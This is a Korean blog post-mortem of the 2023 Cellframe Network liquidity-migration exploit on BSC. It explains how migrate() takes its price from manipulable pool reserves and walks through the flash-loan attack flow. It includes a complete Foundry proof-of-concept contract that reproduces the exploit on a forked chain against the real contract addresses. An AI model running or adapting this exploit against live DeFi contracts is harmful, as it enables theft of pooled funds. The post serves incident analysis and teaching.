[PoC] 20230601 Cellframe Network

0xDave·2023년 9월 1일
0

Ethereum

목록 보기
112/112

1. Attack



2. Tx & Addresses



아래는 토큰 주소들이다.
  • Old_Cell : 0xf3e1449ddb6b218da2c9463d4594ceccc8934346
  • Old_LP : 0x06155034f71811fe0d6568ea8bdf6ec12d04bed2
  • New_Cell : 0xd98438889ae7364c7e2a3540547fad042fb24642
  • New_LP : 0x1c15f4e3fd885a34660829ae692918b4b9c1803d

3. Root cause


1) Code snippet

function migrate(uint amountLP) external  {

        (uint token0,uint token1) = migrateLP(amountLP);
        (uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();     

        uint resoult = cell/eth;              
        token1 = resoult * token0;

        IERC20(CELL).approve(ROUTER_V2,token1);
        IERC20(WETH).approve(ROUTER_V2,token0);

        (uint tokenA, , ) = IUniswapV2Router01(ROUTER_V2).addLiquidity(
            WETH,
            CELL,
            token0,
            token1,
            0,
            0,
            msg.sender,
            block.timestamp + 5000
        );

        uint balanceOldToken = IERC20(OLD_CELL).balanceOf(address(this));
        IERC20(OLD_CELL).transfer(marketingAddress,balanceOldToken);

        if (tokenA < token0) {
            uint256 refund0 = token0 - tokenA;
            IERC20(WETH).transfer(msg.sender,refund0);

        }

     }
function migrateLP(uint amountLP) internal returns(uint256 token0,uint256 token1) {

        IERC20(LP_OLD).transferFrom(msg.sender,address(this),amountLP);
        IERC20(LP_OLD).approve(ROUTER_V2,amountLP);

        return IUniswapV2Router01(ROUTER_V2).removeLiquidity(
            WETH,
            OLD_CELL,
            amountLP,
            0,
            0,
            address(this),
            block.timestamp + 5000
        );

    }

LpMigration 컨트랙트의 migrate 함수를 살펴보면, migrateLP 함수를 통해 기존에 있던 풀의 유동성을 제거하고 새로운 LP 풀에 유동성을 제공한다. 이 때 문제가 되는 것은 새로운 풀에 유동성을 제공할 때 단순히 getReserves를 호출해서 풀에 공급할 토큰의 개수를 계산한다는 것.

        (uint token0,uint token1) = migrateLP(amountLP);
        (uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();     

        uint resoult = cell/eth;              
        token1 = resoult * token0;

만약 기존 풀에 있는 토큰의 개수와 새로운 풀의 토큰 개수가 크게 차이난다면 가격차이가 발생하기 때문에 이를 이용한 아비트라지 공격이 가능하다. 플래시론을 이용하면 훨씬 규모가 큰 공격이 가능하기 때문에 생각보다 쉽게 exploit 될 수 있다.


2) Attack Flow

공격은 두 가지 단계로 이뤄진다. 첫 번째는 기존 풀에 유동성을 제공함으로써 Old_LP 토큰을 얻어낸다. 이는 나중에 기존 풀에서 새로운 풀에 유동성을 공급할 때 필요하며, Pre-attack tx에서 확인할 수 있다.

두 번째는 플래시론부터 시작해서 새로운 풀에 유동성을 추가해 아비트라지 공격을 하는 부분이다. 내용이 길 수 있으니 천천히 따라가보자. Phalcon을 이용해 주소별로 색칠을 해놔서 조금 더 보기 쉽게 만들었다.

  1. 해커는 공격 컨트랙트에서 DoDo의 플래시론을 호출. 1000 WBNB 대출.
  2. callback 함수에서 pancakeSwap의 플래시론을 호출. 500,000 Cell(New) 대출.

  1. LP(New)에서 500,000 Cell(New) -> 50 WBNB로 스왑
  2. LP(Old)에서 900 WBNB -> 2736 Cell(Old)로 스왑

현재 LP(New)에는 550,000 Cell(New) + 8 WBNB가 있고,
LP(Old)에는 7 Cell(Old) + 902 WBNB가 있는 상태.


  1. 이후 migrate 함수를 총 10번 호출. 각 호출 때마다 Lp(Old) 토큰 0.12개를 이용해 이전 풀에서 유동성을 제거.
  2. Lp(Old) 토큰 0.12개 = 1.5 WBNB + 0.012 Cell(Old)
  3. 새로운 풀에 유동성을 공급할 때 1.5 WBNB + 107000 Cell(New) 으로 복사가 됨. (getReserves를 이용해 새로운 풀에 공급할 토큰 개수를 계산하는 아래 코드 때문)
        (uint token0,uint token1) = migrateLP(amountLP);
        (uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();     

        uint resoult = cell/eth;              
        token1 = resoult * token0;

토큰 복사되는 과정을 조금 더 자세히 살펴보면 아래와 같다.

        //token0 = wBNB, token1 = cell
        (uint token0,uint token1) = migrateLP(amountLP);
        (uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();     

        //resoult = 550000 / 8 = 68750
        uint resoult = cell/eth;     
        
        //cell = 68750 * wBNB
        token1 = resoult * token0;

        //즉 wBNB : cell = 1 : 68750 비율대로 공급하게 됨

        IERC20(CELL).approve(ROUTER_V2,token1);
        IERC20(WETH).approve(ROUTER_V2,token0);

이 다음부터는 스왑의 연속이다. 토큰을 찍어냈으니 스왑해서 수익 실현하는 단계로 볼 수 있다.

  1. LP(New)에서 164 WBNB -> 1,414,732 Cell(New)로 스왑
  2. LP(Old)에서 2736 Cell(New) -> 868 WBNB로 스왑

여기서 플래시론이 끝나고

  1. pancake V3 router를 이용해 768,165 Cell(New) -> 247 WBNB로 스왑
  2. pancake V2 router를 이용해 94,191 Cell(New) -> 130 WBNB로 스왑
  3. 52,125 Cell(New) -> 0.08 BUSD -> 소량의 WBNB로 스왑

  1. 마지막으로 DoDo에서 빌렸던 1000 WBNB 갚고
  2. WBNB -> BNB로 바꾸면 끝

결과적으로 해커는 총 245.5 BNB(현재 시세 대략 6,874만원)를 챙겨갔다.


4. PoC


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface IPancakeV3Pool {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

interface IPancakeRouterV3 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(ExactInputSingleParams memory params) external payable returns (uint256 amountOut);
}

interface ILpMigration {
    function migrate(uint256 amountLP) external;
}

contract ContractTest is Test {
    IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
    IPancakeV3Pool PancakePool = IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
    IPancakePair PancakeLP = IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
    ILpMigration LpMigration = ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
    IPancakeRouterV3 SmartRouter = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
    IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_708_273);
        cheats.label(address(DPPOracle), "DPPOracle");
        cheats.label(address(PancakePool), "PancakePool");
        cheats.label(address(Router), "Router");
        cheats.label(address(PancakeLP), "PancakeLP");
        cheats.label(address(LpMigration), "LpMigration");
        cheats.label(address(SmartRouter), "SmartRouter");
        cheats.label(address(CELL9), "CELL9");
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(oldCELL), "oldCELL");
        cheats.label(address(newCELL), "newCELL");
        cheats.label(address(BUSD), "BUSD");
        cheats.label(zap, "Zap");
    }

    function testExploit() public {
        deal(address(WBNB), address(this), 0.1 ether);
        emit log_named_decimal_uint(
            "Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
            );

        // Preparation. Pre-attack transaction
        WBNB.approve(address(Router), type(uint256).max);
        swapTokens(address(WBNB), address(oldCELL), WBNB.balanceOf(address(this)));

        oldCELL.approve(zap, type(uint256).max);
        oldCELL.approve(address(Router), type(uint256).max);
        swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)) / 2);

        Router.addLiquidity(
            address(oldCELL),
            address(WBNB),
            oldCELL.balanceOf(address(this)),
            WBNB.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp + 100
        );

        // End of preparation. Attack start
        DPPOracle.flashLoan(1000 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint(
            "Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
            );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        PancakePool.flash(
            address(this), 0, 500_000 * 1e18, hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
        );
        newCELL.approve(address(SmartRouter), type(uint256).max);
        smartRouterSwap();

        swapTokens(address(newCELL), address(WBNB), 94_191_714_329_478_648_796_861);

        swapTokens(address(newCELL), address(BUSD), newCELL.balanceOf(address(this)));

        BUSD.approve(address(Router), type(uint256).max);
        swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));

        WBNB.transfer(address(DPPOracle), 1000 * 1e18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        newCELL.approve(address(Router), type(uint256).max);
        CELL9.approve(address(LpMigration), type(uint256).max);

        swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
        // Acquiring oldCELL tokens
        swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);

        // Liquidity amount to migrate (for one call to migrate() func)
        uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
        emit log_named_uint("Amount of liquidity to migrate (for one migrate call)", lpAmount);

        // 8 calls to migrate were successfull. Ninth - revert in attack tx.
        for (uint256 i; i < 9; ++i) {
            LpMigration.migrate(lpAmount);
        }

        PancakeLP.transfer(address(PancakeLP), PancakeLP.balanceOf(address(this)));
        PancakeLP.burn(address(this));

        swapTokens(address(WBNB), address(newCELL), WBNB.balanceOf(address(this)));
        swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)));

        newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
    }

    // Helper function for swap tokens with the use Pancake RouterV2
    function swapTokens(address from, address to, uint256 amountIn) internal {
        address[] memory path = new address[](2);
        path[0] = from;
        path[1] = to;
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, path, address(this), block.timestamp + 100
        );
    }

    // Helper function for swap tokens with the use Pancake RouterV3
    function smartRouterSwap() internal {
        IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({
            tokenIn: address(newCELL),
            tokenOut: address(WBNB),
            fee: 500,
            recipient: address(this),
            amountIn: 768_165_437_250_117_135_819_067,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        SmartRouter.exactInputSingle(params);
    }

    receive() external payable {}
}

5. Lesson


When migrating liquidity, consider token quantities in both pools and current token prices. Avoid relying solely on trading pair quantities for calculations as they can be manipulated.


5. Reference


profile
Just BUIDL :)

0개의 댓글